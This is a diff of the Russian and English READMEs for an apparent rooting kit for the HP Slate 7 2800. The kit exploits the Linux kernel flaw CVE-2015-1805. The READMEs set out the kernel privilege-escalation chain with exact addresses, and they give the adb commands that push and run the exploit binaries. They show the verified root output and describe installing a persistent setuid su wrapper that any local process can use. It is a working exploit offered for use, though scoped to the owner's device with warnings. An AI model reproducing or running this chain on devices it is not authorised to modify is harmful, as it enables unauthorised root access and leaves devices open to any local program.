| Раздел `/system` | ext4, штатно смонтирован read-only |
|
||||
|
||||
Проверить устройство без каких-либо изменений можно так:
|
||||
|
||||
```sh
|
||||
adb devices -l
|
||||
adb shell getprop ro.product.model
|
||||
adb shell getprop ro.build.fingerprint
|
||||
adb shell getprop ro.build.version.sdk
|
||||
adb shell cat /proc/version
|
||||
```
|
||||
|
||||
Или скриптом, который откажется продолжать при несовпадении fingerprint или
|
||||
версии ядра:
|
||||
|
||||
```sh
|
||||
./scripts/check-target.sh
|
||||
./scripts/check-target.sh ADB_SERIAL
|
||||
```
|
||||
|
||||
## Что находится в репозитории
|
||||
|
||||
```text
|
||||
.
|
||||
├── bin/
|
||||
│ ├── hp-slate7-cve-2015-1805-root # проверенный эксплойт
|
||||
│ ├── hp-slate7-install-root # установщик su в /system
|
||||
│ └── hp-slate7-su # минимальный setuid-root wrapper
|
||||
├── src/
|
||||
│ ├── exploit/ # исходники CVE и device-specific правки
|
||||
│ ├── installer/install-root.c # исходник установщика
|
||||
│ └── su/rootsh.S # исходник минимального su
|
||||
├── scripts/
|
||||
│ ├── build.sh # пересборка всех трёх ELF-файлов
|
||||
│ ├── check-target.sh # безопасная проверка совместимости
|
||||
│ └── root-device.sh # проверка, загрузка и запуск комплекта
|
||||
├── SHA256SUMS # хеши проверенных bin/*
|
||||
├── NOTICE # происхождение исходного PoC
|
||||
└── LICENSE # GPL-3.0
|
||||
```
|
||||
|
||||
### Формат и назначение файлов
|
||||
|
||||
| Файл | Формат | Размер | Назначение |
|
||||
|---|---:|---:|---|
|
||||
| `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2 722 320 байт | Эксплуатация CVE, получение uid 0 и запуск установщика |
|
||||
| `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22 596 байт | Кратковременно перемонтирует `/system` rw, устанавливает `su`, возвращает ro |
|
||||
| `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 байт | Делает `setresgid(0,0,0)`, `setresuid(0,0,0)` и запускает `/system/bin/sh` |
|
||||
|
||||
SHA-256 проверенных бинарников:
|
||||
|
||||
```text
|
||||
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
|
||||
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
|
||||
```
|
||||
|
||||
Проверка на macOS:
|
||||
|
||||
```sh
|
||||
shasum -a 256 -c SHA256SUMS
|
||||
```
|
||||
|
||||
Проверка на Linux:
|
||||
|
||||
```sh
|
||||
sha256sum -c SHA256SUMS
|
||||
```
|
||||
|
||||
Используйте для планшета файлы из `bin/`: это именно те байты, которые были
|
||||
проверены на устройстве. Каталог `build/` предназначен для локальной
|
||||
пересборки и в Git не добавляется.
|
||||
|
||||
## Какая уязвимость используется
|
||||
|
||||
[CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) — ошибка в
|
||||
реализациях `pipe_read()` и `pipe_write()` старых ядер Linux. При ошибке
|
||||
атомарного копирования код некорректно продолжает обход массива `iovec`, что
|
||||
может вывести указатель за его границы. В результате локальный непривилегированный
|
||||
процесс может повредить память, аварийно завершить ядро или повысить привилегии.
|
||||
Подробный разбор механизма опубликован в
|
||||
[oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2), а
|
||||
исправления находятся, в частности, в upstream-коммитах Linux
|
||||
[`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1)
|
||||
и [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045).
|
||||
|
||||
Ядро планшета `3.0.8+` оказалось уязвимо. До изменения kernel memory была
|
||||
выполнена отдельная безвредная проверка той же гонки: обе цели записи находились
|
||||
в обычной памяти тестового процесса. Она завершилась результатом
|
||||
`CVE-2015-1805: VULNERABLE`, после чего планшет оставался доступен по ADB.
|
||||
|
||||
## Как устроена цепочка повышения привилегий
|
||||
|
||||
1. Эксплойт создаёт гонку между `readv()`, изменением отображения памяти и
|
||||
обработкой большого массива `iovec` в уязвимом pipe-коде ядра.
|
||||
2. Полученный примитив записи подменяет временно свободную запись 222 в
|
||||
`sys_call_table` адресом небольшого ARM-trampoline из процесса эксплойта.
|
||||
3. Адрес таблицы вычисляется через high vector по адресу `0xffff0008`.
|
||||
На проверенном устройстве инструкция равна `0xe59ff410`, literal указывает
|
||||
на `vector_swi = 0xc04d0d40`.
|
||||
4. Из [официального архива ядра HP Open Source 1.05.10](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz)
|
||||
(SHA-256 архива:
|
||||
`dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`)
|
||||
с defconfig
|
||||
`rk30_t7h_dvt_defconfig` независимо собраны `vector_swi` и
|
||||
`sys_call_table`: их смещение равно `0xc4`. В установленной прошивке нет
|
||||
OABI и seccomp, поэтому итоговый runtime-адрес таблицы — `0xc04d0e04`.
|
||||
5. Trampoline состоит ровно из шести ARM-инструкций. Он получает текущий `sp`,
|
||||
выравнивает его на размер kernel stack 8192 байта и записывает `-1` только
|
||||
в `thread_info.addr_limit` по смещению 8. Внешних вызовов, пролога и
|
||||
compiler runtime в нём нет.
|
||||
6. Сразу после возврата из временного syscall запись 222 восстанавливается из
|
||||
записи 223. В исходниках HP обе записи являются `sys_ni_syscall`; на
|
||||
проверенном ядре восстановлен указатель `0xc051900c`.
|
||||
7. После расширения `addr_limit` pipe-копирование читает текущий
|
||||
`task_struct`, находит `cred` и проверяет найденную структуру по текущим
|
||||
uid/gid, выравниванию, счётчику ссылок и совпадению `real_cred == cred`.
|
||||
Только после этих проверок uid/gid обнуляются, а capability masks
|
||||
заполняются единицами.
|
||||
8. Процесс получает `uid=0` и запускает `/data/local/tmp/install-root`.
|
||||
Установщик перемонтирует `/system` в rw, копирует payload в
|
||||
`/system/xbin/su`, выставляет `root:root` и режим `06755`, вызывает `sync()`
|
||||
и возвращает `/system` в read-only.
|
||||
|
||||
Исходная функция `current_thread_info()` из старых kernel headers была
|
||||
несовместима с современным Clang при `-O0`: ранний прототип читал
|
||||
неинициализированное слово вместо регистра `sp` и мог уронить ядро. В данном
|
||||
репозитории она заменена проверенным naked ARM-trampoline. Ранний бинарник в
|
||||
репозиторий не включён.
|
||||
|
||||
## Какой софт нужен
|
||||
|
||||
### Для готовых файлов из `bin/`
|
||||
|
||||
- компьютер с macOS или Linux; Windows также возможен при наличии корректного
|
||||
ADB USB-драйвера, но данный запуск проверялся на macOS;
|
||||
- `adb` из Android SDK Platform Tools;
|
||||
- исправный USB-кабель с передачей данных;
|
||||
- включённая «Отладка по USB» и подтверждённый RSA-ключ компьютера на экране
|
||||
планшета.
|
||||
|
||||
Не нужны Android NDK, Java, Python, fastboot, разблокировка bootloader,
|
||||
custom recovery, root-APK или доступ к сети. Эксплойт и payload статически
|
||||
скомпонованы.
|
||||
|
||||
### Для пересборки
|
||||
|
||||
- Zig 0.15.2; достаточно распаковать portable archive, устанавливать пакет в
|
||||
систему не требуется;
|
||||
- Bash;
|
||||
- `shasum` либо `sha256sum` для контроля результата.
|
||||
|
||||
Android NDK по-прежнему не нужен: Zig предоставляет ARM musl cross-toolchain.
|
||||
|
||||
## Подготовка планшета
|
||||
|
||||
1. Зарядите планшет минимум до 50%. Во время подтверждённого запуска заряд был
|
||||
около 80%.
|
||||
2. Загрузите Android обычным способом и разблокируйте экран.
|
||||
3. Включите «Для разработчиков» → «Отладка по USB».
|
||||
4. Подключите кабель и подтвердите RSA-запрос отладки, если Android его покажет.
|
||||
5. Не запускайте Towelroot, KingRoot и другие root-приложения параллельно.
|
||||
6. Закройте лишние приложения. Эксплойт создаёт много потоков и близко подходит
|
||||
к лимитам этого старого устройства.
|
||||
|
||||
Проверьте связь:
|
||||
|
||||
```sh
|
||||
adb devices -l
|
||||
```
|
||||
|
||||
Статус должен быть `device`, а не `offline` или `unauthorized`.
|
||||
|
||||
## Получение root: ручная последовательность
|
||||
|
||||
Перейдите в корень репозитория и сначала проверьте точное совпадение устройства:
|
||||
|
||||
```sh
|
||||
./scripts/check-target.sh
|
||||
```
|
||||
|
||||
Если подключено несколько устройств, передавайте serial во всех командах через
|
||||
`adb -s SERIAL` или используйте переменную `ANDROID_SERIAL`.
|
||||
|
||||
Загрузите три файла под именами, которые ожидают друг друга:
|
||||
|
||||
```sh
|
||||
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
|
||||
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
|
||||
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
|
||||
```
|
||||
|
||||
Выставьте права и сбросьте staging-файлы на накопитель:
|
||||
|
||||
```sh
|
||||
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
|
||||
```
|
||||
|
||||
Запустите эксплойт **один раз**:
|
||||
|
||||
```sh
|
||||
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
|
||||
```
|
||||
|
||||
Подтверждённый успешный вывод:
|
||||
|
||||
```text
|
||||
offset:c4
|
||||
addr:c04d0d40
|
||||
[+] Done
|
||||
restored syscall 222 to 0xc051900c
|
||||
exploit rc=0 uid=0 gid=0
|
||||
installer uid=0 gid=0
|
||||
install-su ok
|
||||
DEVICE_RC=0
|
||||
```
|
||||
|
||||
Если устройство на несколько секунд исчезло из ADB, не запускайте эксплойт
|
||||
повторно. Дождитесь его возвращения:
|
||||
|
||||
```sh
|
||||
adb wait-for-device
|
||||
```
|
||||
|
||||
## Автоматизированный запуск
|
||||
|
||||
Скрипт выполняет проверку fingerprint и ядра, проверяет SHA-256, загружает
|
||||
файлы, просит ввести `ROOT`, запускает эксплойт и проверяет `uid=0`:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh
|
||||
```
|
||||
|
||||
Для нескольких устройств:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh --serial ADB_SERIAL
|
||||
```
|
||||
|
||||
Флаг `--yes` убирает интерактивное подтверждение и предназначен только для
|
||||
осознанного автоматического запуска:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh --serial ADB_SERIAL --yes
|
||||
```
|
||||
|
||||
## Проверка результата
|
||||
|
||||
Проверяйте root из **нового** ADB shell, а не по uid процесса эксплойта:
|
||||
|
||||
```sh
|
||||
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
|
||||
adb shell 'ls -l /system/xbin/su'
|
||||
adb shell 'cat /proc/mounts' | grep ' /system '
|
||||
```
|
||||
|
||||
Ожидается:
|
||||
|
||||
```text
|
||||
uid=2000(shell) ...
|
||||
uid=0(root) gid=0(root) ...
|
||||
SU_RC=0
|
||||
-rwsr-sr-x root root ... su
|
||||
... /system ext4 ro,...
|
||||
```
|
||||
|
||||
Затем удалите только временные staging-файлы. Установленный
|
||||
`/system/xbin/su` не удаляется:
|
||||
|
||||
```sh
|
||||
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
|
||||
```
|
||||
|
||||
Комплект не создаёт `/data/local.prop` и не изменяет пользовательские данные.
|
||||
|
||||
Выполните обычную перезагрузку и итоговую проверку постоянного root:
|
||||
|
||||
```sh
|
||||
adb reboot
|
||||
adb wait-for-device
|
||||
adb shell getprop sys.boot_completed
|
||||
adb shell '/system/xbin/su -c id'
|
||||
```
|
||||
|
||||
На проверенном планшете после перезагрузки было получено:
|
||||
|
||||
```text
|
||||
uid=0(root) gid=0(root) ...
|
||||
```
|
||||
|
||||
Установленный файл был выгружен обратно с планшета и побайтно совпал с
|
||||
`bin/hp-slate7-su`:
|
||||
|
||||
```text
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
|
||||
```
|
||||
|
||||
## Использование root
|
||||
|
||||
Выполнение одной команды:
|
||||
|
||||
```sh
|
||||
adb shell '/system/xbin/su -c id'
|
||||
adb shell '/system/xbin/su -c "ls -la /data"'
|
||||
```
|
||||
|
||||
`hp-slate7-su` — намеренно минимальный wrapper без Android-приложения,
|
||||
диалогов подтверждения, daemon и журнала разрешений. Любой локальный процесс,
|
||||
который способен исполнить `/system/xbin/su`, потенциально может получить root.
|
||||
Не используйте этот устаревший планшет для конфиденциальных данных после root и
|
||||
не устанавливайте на него непроверенные APK.
|
||||
|
||||
## Пересборка из исходников
|
||||
|
||||
Укажите путь к portable Zig 0.15.2 или добавьте `zig` в `PATH`:
|
||||
|
||||
```sh
|
||||
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
|
||||
```
|
||||
|
||||
Результат появится в `build/`:
|
||||
|
||||
```text
|
||||
build/hp-slate7-cve-2015-1805-root
|
||||
build/hp-slate7-install-root
|
||||
build/hp-slate7-su
|
||||
```
|
||||
|
||||
Проверить формат:
|
||||
|
||||
```sh
|
||||
file build/hp-slate7-*
|
||||
```
|
||||
|
||||
Все три файла должны быть 32-битными ARM EABI5 ELF. При проверенной версии
|
||||
Zig 0.15.2 установщик и `su` пересобираются побайтно идентично файлам из
|
||||
`bin/`. Хеш эксплойта может отличаться из-за абсолютных путей в DWARF и linker
|
||||
metadata; его критический шестикомандный trampoline при проверочной пересборке
|
||||
совпал побайтно. Пересборка не заменяет контрольные суммы файлов из `bin/`,
|
||||
которые фактически запускались на планшете.
|
||||
|
||||
## Возможные проблемы
|
||||
|
||||
### `unauthorized`
|
||||
|
||||
Разблокируйте экран и подтвердите RSA-ключ USB-отладки. Если запрос не появился,
|
||||
переподключите кабель и повторите `adb devices -l`.
|
||||
|
||||
### `offline` или устройство исчезло
|
||||
|
||||
Подождите несколько секунд и выполните `adb wait-for-device`. Если планшет
|
||||
выключился, включите его обычной кнопкой Power. Не запускайте второй экземпляр
|
||||
эксплойта одновременно.
|
||||
|
||||
### Эксплойт не вывел `[+] Done`
|
||||
|
||||
CVE эксплуатируется через гонку и теоретически может не сработать. Перезагрузите
|
||||
планшет перед единственной повторной попыткой. Не запускайте бинарник циклом:
|
||||
ошибка гонки способна аварийно завершить ядро.
|
||||
|
||||
### Есть `su`, но команда завершается с кодом 127
|
||||
|
||||
Проверьте SHA-256 файла. Ранний исследовательский wrapper неправильно получал
|
||||
`argv` на ARM и завершался с 127. В этом репозитории находится исправленная
|
||||
656-байтная версия с SHA-256
|
||||
`40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`.
|
||||
|
||||
### На экране остаётся логотип HP, но ADB уже доступен
|
||||
|
||||
Проверьте реальное состояние Android:
|
||||
|
||||
```sh
|
||||
adb shell getprop sys.boot_completed
|
||||
adb shell dumpsys window windows
|
||||
```
|
||||
|
||||
Значение `sys.boot_completed=1` означает, что Android загрузился, даже если
|
||||
физический дисплей ещё показывает старый кадр.
|
||||
|
||||
## Что проверялось и что не использовалось
|
||||
|
||||
На устройстве были безопасно исключены либо оказались непригодными другие
|
||||
общеизвестные пути: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056,
|
||||
CVE-2013-4787, Dirty COW и PingPongRoot. Towelroot/CVE-2014-3153 приводил к
|
||||
падению этого ядра и не должен использоваться. CVE-2014-7951 позволяла записать
|
||||
файл через ADB restore traversal, но firmware HP не загружала
|
||||
`/data/local.prop`, поэтому root этим способом не получался.
|
||||
|
||||
Bootloader использует старый Rockchip loader и не появился как стандартное
|
||||
fastboot-устройство. Прошивка recovery или разблокировка bootloader для данного
|
||||
результата не потребовались.
|
||||
|
||||
## Происхождение и лицензия
|
||||
|
||||
Основой exploit-кода послужил
|
||||
[`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research),
|
||||
commit `f945796`, который в свою очередь указывает на
|
||||
[`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific
|
||||
изменения включают ограничение количества потоков, исправление таймаута,
|
||||
naked ARM-trampoline, раннее восстановление syscall-таблицы, валидацию `cred`
|
||||
и отключение неприменимой SELinux-ветки.
|
||||
|
||||
Исходные уведомления сохранены. Репозиторий распространяется по GPL-3.0; см.
|
||||
`LICENSE` и `NOTICE`.
|
||||
|
||||
## Ответственность
|
||||
|
||||
Эксплуатация kernel memory всегда несёт риск перезагрузки, повреждения системы
|
||||
или потери данных. Комплект предназначен только для принадлежащего вам
|
||||
HP Slate 7 2800 с точно совпадающей прошивкой. Сделайте резервную копию важных
|
||||
данных и не применяйте его к чужим устройствам.
|
||||
|
||||
---
|
||||
|
||||
Исследование безопасности и документация выполнены при содействии OpenAI Codex
|
||||
на базе [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol)
|
||||
с доступом к возможностям кибербезопасности Daybreak Blue.
|
||||
@@ -0,0 +1,445 @@
|
||||
# Root for the HP Slate 7 2800 on Android 4.1.1
|
||||
|
||||
**English** | [Русский](README.RU.md)
|
||||
|
||||
This repository contains a complete, self-contained kit for obtaining persistent
|
||||
root access on the **HP Slate 7 2800** running firmware **1.05.18** and kernel
|
||||
**Linux 3.0.8+** by exploiting the local vulnerability **CVE-2015-1805**. The
|
||||
kit was run on the actual tablet, and the result was verified from a fresh ADB
|
||||
session and after a normal reboot.
|
||||
|
||||
This is not a universal Android rooting tool. The exploit is specific to this
|
||||
HP kernel configuration. Do not run it on a different model, firmware, or
|
||||
kernel version.
|
||||
|
||||
## Verified configuration
|
||||
|
||||
| Parameter | Verified value |
|
||||
|---|---|
|
||||
| Manufacturer and model | HP Slate 7 2800 |
|
||||
| Android | 4.1.1, API 16, build JRO03H |
|
||||
| Product / device | `t7h` / `pine` |
|
||||
| Processor | Rockchip RK3066, ARMv7 |
|
||||
| Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` |
|
||||
| Kernel | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` |
|
||||
| ABI | 32-bit ARM EABI5 |
|
||||
| SELinux | not present in the kernel configuration (`CONFIG_SECURITY` is disabled) |
|
||||
| `/system` partition | ext4, mounted read-only by default |
|
||||
|
||||
You can inspect the device without making any changes:
|
||||
|
||||
```sh
|
||||
adb devices -l
|
||||
adb shell getprop ro.product.model
|
||||
adb shell getprop ro.build.fingerprint
|
||||
adb shell getprop ro.build.version.sdk
|
||||
adb shell cat /proc/version
|
||||
```
|
||||
|
||||
Alternatively, use the script below. It will refuse to proceed if either the
|
||||
fingerprint or kernel version does not match:
|
||||
|
||||
```sh
|
||||
./scripts/check-target.sh
|
||||
./scripts/check-target.sh ADB_SERIAL
|
||||
```
|
||||
|
||||
## Repository contents
|
||||
|
||||
```text
|
||||
.
|
||||
├── bin/
|
||||
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
|
||||
│ ├── hp-slate7-install-root # installs su into /system
|
||||
│ └── hp-slate7-su # minimal setuid-root wrapper
|
||||
├── src/
|
||||
│ ├── exploit/ # CVE source and device-specific changes
|
||||
│ ├── installer/install-root.c # installer source
|
||||
│ └── su/rootsh.S # minimal su source
|
||||
├── scripts/
|
||||
│ ├── build.sh # rebuilds all three ELF files
|
||||
│ ├── check-target.sh # safe compatibility check
|
||||
│ └── root-device.sh # verifies, uploads, and runs the kit
|
||||
├── SHA256SUMS # hashes of the verified bin/* files
|
||||
├── NOTICE # attribution for the original PoC
|
||||
└── LICENSE # GPL-3.0
|
||||
```
|
||||
|
||||
### File formats and purposes
|
||||
|
||||
| File | Format | Size | Purpose |
|
||||
|---|---:|---:|---|
|
||||
| `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2,722,320 bytes | Exploits the CVE, obtains uid 0, and launches the installer |
|
||||
| `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22,596 bytes | Temporarily remounts `/system` rw, installs `su`, and restores ro |
|
||||
| `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 bytes | Calls `setresgid(0,0,0)` and `setresuid(0,0,0)`, then launches `/system/bin/sh` |
|
||||
|
||||
SHA-256 checksums of the verified binaries:
|
||||
|
||||
```text
|
||||
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
|
||||
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
|
||||
```
|
||||
|
||||
Verification on macOS:
|
||||
|
||||
```sh
|
||||
shasum -a 256 -c SHA256SUMS
|
||||
```
|
||||
|
||||
Verification on Linux:
|
||||
|
||||
```sh
|
||||
sha256sum -c SHA256SUMS
|
||||
```
|
||||
|
||||
Use the files from `bin/` on the tablet: these are the exact bytes that were
|
||||
verified on the device. The `build/` directory is intended for local rebuilds
|
||||
and is not tracked by Git.
|
||||
|
||||
## Vulnerability used
|
||||
|
||||
[CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) is a flaw in the
|
||||
`pipe_read()` and `pipe_write()` implementations of older Linux kernels. When
|
||||
an atomic copy fails, the code incorrectly continues traversing the `iovec`
|
||||
array, potentially moving a pointer beyond its bounds. As a result, a local
|
||||
unprivileged process can corrupt memory, crash the kernel, or escalate its
|
||||
privileges. A detailed explanation of the mechanism was published on
|
||||
[oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2). The
|
||||
fixes can be found, among other places, in the upstream Linux commits
|
||||
[`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1)
|
||||
and [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045).
|
||||
|
||||
The tablet's `3.0.8+` kernel proved vulnerable. Before modifying kernel memory,
|
||||
the same race was tested separately with a harmless probe whose two write
|
||||
targets were both located in the test process's ordinary memory. It reported
|
||||
`CVE-2015-1805: VULNERABLE`, and the tablet remained accessible over ADB.
|
||||
|
||||
## Privilege-escalation chain
|
||||
|
||||
1. The exploit creates a race between `readv()`, memory mapping changes, and
|
||||
processing a large `iovec` array in the kernel's vulnerable pipe code.
|
||||
2. The resulting write primitive temporarily replaces the unused entry 222 in
|
||||
`sys_call_table` with the address of a small ARM trampoline in the exploit
|
||||
process.
|
||||
3. The table address is calculated through the high vector at `0xffff0008`.
|
||||
On the verified device, the instruction is `0xe59ff410`, and its literal
|
||||
points to `vector_swi = 0xc04d0d40`.
|
||||
4. `vector_swi` and `sys_call_table` were independently assembled from the
|
||||
[official HP Open Source 1.05.10 kernel archive](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz)
|
||||
(archive SHA-256:
|
||||
`dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`)
|
||||
with the `rk30_t7h_dvt_defconfig` defconfig. Their offset is `0xc4`. The
|
||||
installed firmware has neither OABI nor seccomp, so the table's final
|
||||
runtime address is `0xc04d0e04`.
|
||||
5. The trampoline consists of exactly six ARM instructions. It obtains the
|
||||
current `sp`, aligns it to the 8,192-byte kernel stack size, and writes `-1`
|
||||
only to `thread_info.addr_limit` at offset 8. It contains no external calls,
|
||||
prologue, or compiler runtime code.
|
||||
6. Immediately after the temporary syscall returns, entry 222 is restored from
|
||||
entry 223. Both entries are `sys_ni_syscall` in the HP source; the pointer
|
||||
restored on the verified kernel is `0xc051900c`.
|
||||
7. Once `addr_limit` has been widened, pipe copying reads the current
|
||||
`task_struct`, locates `cred`, and validates the structure using the current
|
||||
uid/gid values, alignment, reference count, and the `real_cred == cred`
|
||||
condition. Only after these checks are the uid/gid values zeroed and the
|
||||
capability masks filled with ones.
|
||||
8. The process obtains `uid=0` and launches `/data/local/tmp/install-root`.
|
||||
The installer remounts `/system` rw, copies the payload to
|
||||
`/system/xbin/su`, assigns `root:root` ownership and mode `06755`, calls
|
||||
`sync()`, and remounts `/system` read-only.
|
||||
|
||||
The original `current_thread_info()` function from the old kernel headers was
|
||||
incompatible with modern Clang at `-O0`: an early prototype read an
|
||||
uninitialized word instead of the `sp` register and could crash the kernel. In
|
||||
this repository, it has been replaced with a verified naked ARM trampoline.
|
||||
The early binary is not included in the repository.
|
||||
|
||||
## Required software
|
||||
|
||||
### To use the ready-made files from `bin/`
|
||||
|
||||
- a computer running macOS or Linux; Windows is also possible with a suitable
|
||||
ADB USB driver, but this procedure was verified on macOS;
|
||||
- `adb` from Android SDK Platform Tools;
|
||||
- a working USB data cable;
|
||||
- USB debugging enabled and the computer's RSA key accepted on the tablet.
|
||||
|
||||
You do not need the Android NDK, Java, Python, fastboot, an unlocked bootloader,
|
||||
a custom recovery, a rooting APK, or network access. The exploit and payload
|
||||
are statically linked.
|
||||
|
||||
### To rebuild from source
|
||||
|
||||
- Zig 0.15.2; unpacking the portable archive is sufficient, with no system-wide
|
||||
package installation required;
|
||||
- Bash;
|
||||
- `shasum` or `sha256sum` to verify the result.
|
||||
|
||||
The Android NDK is still not required: Zig provides an ARM musl cross-toolchain.
|
||||
|
||||
## Preparing the tablet
|
||||
|
||||
1. Charge the tablet to at least 50%. It was at approximately 80% during the
|
||||
verified run.
|
||||
2. Boot Android normally and unlock the screen.
|
||||
3. Enable Developer options -> USB debugging.
|
||||
4. Connect the cable and accept the USB debugging RSA prompt if Android shows
|
||||
it.
|
||||
5. Do not run Towelroot, KingRoot, or other rooting applications concurrently.
|
||||
6. Close unnecessary applications. The exploit creates many threads and comes
|
||||
close to the limits of this old device.
|
||||
|
||||
Check the connection:
|
||||
|
||||
```sh
|
||||
adb devices -l
|
||||
```
|
||||
|
||||
The status must be `device`, not `offline` or `unauthorized`.
|
||||
|
||||
## Obtaining root: manual procedure
|
||||
|
||||
Change to the repository root and first verify that the device matches exactly:
|
||||
|
||||
```sh
|
||||
./scripts/check-target.sh
|
||||
```
|
||||
|
||||
If multiple devices are connected, pass the serial number to every command
|
||||
using `adb -s SERIAL`, or set the `ANDROID_SERIAL` environment variable.
|
||||
|
||||
Upload the three files using the names they expect for one another:
|
||||
|
||||
```sh
|
||||
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
|
||||
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
|
||||
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
|
||||
```
|
||||
|
||||
Set the permissions and flush the staged files to storage:
|
||||
|
||||
```sh
|
||||
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
|
||||
```
|
||||
|
||||
Run the exploit **once**:
|
||||
|
||||
```sh
|
||||
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
|
||||
```
|
||||
|
||||
Verified successful output:
|
||||
|
||||
```text
|
||||
offset:c4
|
||||
addr:c04d0d40
|
||||
[+] Done
|
||||
restored syscall 222 to 0xc051900c
|
||||
exploit rc=0 uid=0 gid=0
|
||||
installer uid=0 gid=0
|
||||
install-su ok
|
||||
DEVICE_RC=0
|
||||
```
|
||||
|
||||
If the device disappears from ADB for a few seconds, do not run the exploit
|
||||
again. Wait for it to return:
|
||||
|
||||
```sh
|
||||
adb wait-for-device
|
||||
```
|
||||
|
||||
## Automated procedure
|
||||
|
||||
The script verifies the fingerprint and kernel, checks the SHA-256 hashes,
|
||||
uploads the files, asks you to enter `ROOT`, runs the exploit, and verifies
|
||||
`uid=0`:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh
|
||||
```
|
||||
|
||||
For multiple devices:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh --serial ADB_SERIAL
|
||||
```
|
||||
|
||||
The `--yes` option disables the interactive confirmation and is intended only
|
||||
for deliberate automated use:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh --serial ADB_SERIAL --yes
|
||||
```
|
||||
|
||||
## Verifying the result
|
||||
|
||||
Verify root from a **fresh** ADB shell, not from the exploit process's uid:
|
||||
|
||||
```sh
|
||||
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
|
||||
adb shell 'ls -l /system/xbin/su'
|
||||
adb shell 'cat /proc/mounts' | grep ' /system '
|
||||
```
|
||||
|
||||
Expected output:
|
||||
|
||||
```text
|
||||
uid=2000(shell) ...
|
||||
uid=0(root) gid=0(root) ...
|
||||
SU_RC=0
|
||||
-rwsr-sr-x root root ... su
|
||||
... /system ext4 ro,...
|
||||
```
|
||||
|
||||
Next, remove only the temporary staging files. The installed
|
||||
`/system/xbin/su` is not removed:
|
||||
|
||||
```sh
|
||||
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
|
||||
```
|
||||
|
||||
The kit does not create `/data/local.prop` or modify user data.
|
||||
|
||||
Perform a normal reboot and then verify persistent root:
|
||||
|
||||
```sh
|
||||
adb reboot
|
||||
adb wait-for-device
|
||||
adb shell getprop sys.boot_completed
|
||||
adb shell '/system/xbin/su -c id'
|
||||
```
|
||||
|
||||
The verified tablet produced the following result after reboot:
|
||||
|
||||
```text
|
||||
uid=0(root) gid=0(root) ...
|
||||
```
|
||||
|
||||
The installed file was pulled back from the tablet and matched
|
||||
`bin/hp-slate7-su` byte for byte:
|
